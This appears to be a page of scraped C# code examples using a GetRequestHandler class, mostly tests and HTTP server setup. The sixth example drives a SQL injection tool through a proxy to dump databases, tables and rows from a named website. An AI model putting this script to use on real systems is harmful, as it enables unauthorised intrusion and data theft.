Пример #1
0
        public async Task TestAddHeaders()
        {
            var requestBuilder    = new RequestBuilder();
            var getRequestHandler = new GetRequestHandler(new Mock <ILocateService>().Object, requestBuilder);

            getRequestHandler.AddHeaders(requestBuilder, null);
        }
Пример #2
0
    public void OnViewButtonClicked()
    {
        if (InputGameName.text != null && InputGameName.text != String.Empty)
        {
            RenderPlayers.gameName = InputGameName.text;

            GetRequestHandler getRequestHandler = new GetRequestHandler();
            StartCoroutine(getRequestHandler.FetchResponseFromWeb(
                               InputGameName.text,
                               result => TryStartViewing(result)));
        }
    }
Пример #3
0
        public NetListener(int port, string[] pages, GetRequestHandler getHandler)
        {
            this.port     = port;
            this.listener = new HttpListener();
            this.listener.Prefixes.Add("http://localhost:" + port.ToString() + "/");
            foreach (string page in pages)
            {
                this.listener.Prefixes.Add("http://localhost:" + port.ToString() + "/" + page + "/");
            }

            this.getHandler = getHandler;
        }
Пример #4
0
 /// <summary>
 /// Starts the http server thread
 /// </summary>
 public void Start()
 {
     running          = true;
     httpServerThread = new Thread(StartServer);
     RequestReceived += new GetRequestHandler(ProcessClientRequest);
     try
     {
         stop = false;
         httpServerThread.Start();
     }
     catch (Exception)
     {
         DebugUtils.Print(DebugLevel.ERROR, "Starting HTTP Server Thread failed.");
         stop    = true;
         running = false;
     }
 }
Пример #5
0
        public async Task Process()
        {
            var gatewayService = new Mock <IGatewayService>();
            var serviceLocator = new Mock <ILocateService>();
            var requestBuilder = new RequestBuilder();

            gatewayService.Setup(func => func.Uri).Returns(new System.Uri("http://192.168.1.100:12345/MyTestUri"));
            serviceLocator.Setup(func => func.Find(It.IsAny <string>())).Returns(Task.FromResult(gatewayService.Object));
            var getRequestHandler = new GetRequestHandler(serviceLocator.Object, requestBuilder);

            var httpcontext = new DefaultHttpContext();

            httpcontext.Request.Method = HttpMethods.Get;
            httpcontext.Request.Scheme = "http";
            httpcontext.Request.Path   = new PathString("/api");
            var responseMessage = await getRequestHandler.Process(httpcontext);
        }
Пример #6
0
        public static void Main(string[] args)
        {
            // Hello friends!~
            // I'll just show you what I done.
            // Here we create a dictionary that means key => value, it will be post to get submit
            var data = new Dictionary <string, string> {
                { "id", "1" }
            };
            // we create a request handler to the url and we give him the data
            // We also can give him a dictionary of headers
            var grh = new GetRequestHandler(new Uri("http://amibehindaproxy.com"), data);
            // Here we create the injection object with the request handler, we also give him the key
            // the injection part will using the key
            var Injector = BlitzInjector.Create(grh, "id");

            // Here we are initialzing the injector with a proxy and a port
            Injector.Initilaize("186.94.3.95", 8080);
            //Injector.Initilaize();
            // And lets go~
            var Databases = Injector.FetchDatabases();

            Console.WriteLine("Fetching databases in url(http://ohel-shem.com/library/)...");
            Console.WriteLine("DONE!");
            for (int i = 1; i < Databases.Length - 1; i++)
            {
                Console.WriteLine(i + ") " + Databases[i]);
            }
            Console.WriteLine("Enter database:");
            var db     = Console.ReadLine();
            var tables = Injector.FetchTables(db);

            Console.WriteLine("Fetching from:" + db + "...");
            Console.WriteLine("DONE!");
            for (int i = 1; i < tables.Length - 1; i++)
            {
                Console.WriteLine(i + ") " + tables[i]);
            }
            Console.WriteLine("Enter table:");
            var table   = Console.ReadLine();
            var columns = Injector.FetchColumns(db, table);

            Console.WriteLine("Fetching from:" + table + "...");
            Console.WriteLine("DONE!");
            for (int i = 1; i < columns.Length - 1; i++)
            {
                Console.WriteLine(i + ") " + columns[i]);
            }
            Console.WriteLine("Enter columns:");
            var column = Console.ReadLine();

            Console.WriteLine("Fetching rows in {0}.{1} ({2})...", db, table, column);
            var rows = Injector.FetchRows(db, table, column);

            Console.WriteLine("DONE!");
            var ColumnsArray = column.Split(',');

            foreach (var row in rows)
            {
                if (row == null)
                {
                    break;
                }
                for (int i = 0; i < row.Length; i++)
                {
                    Console.Write("{0}: {1} || ", ColumnsArray[i], row[i]);
                }
                Console.WriteLine();
            }

            Console.ReadLine();
        }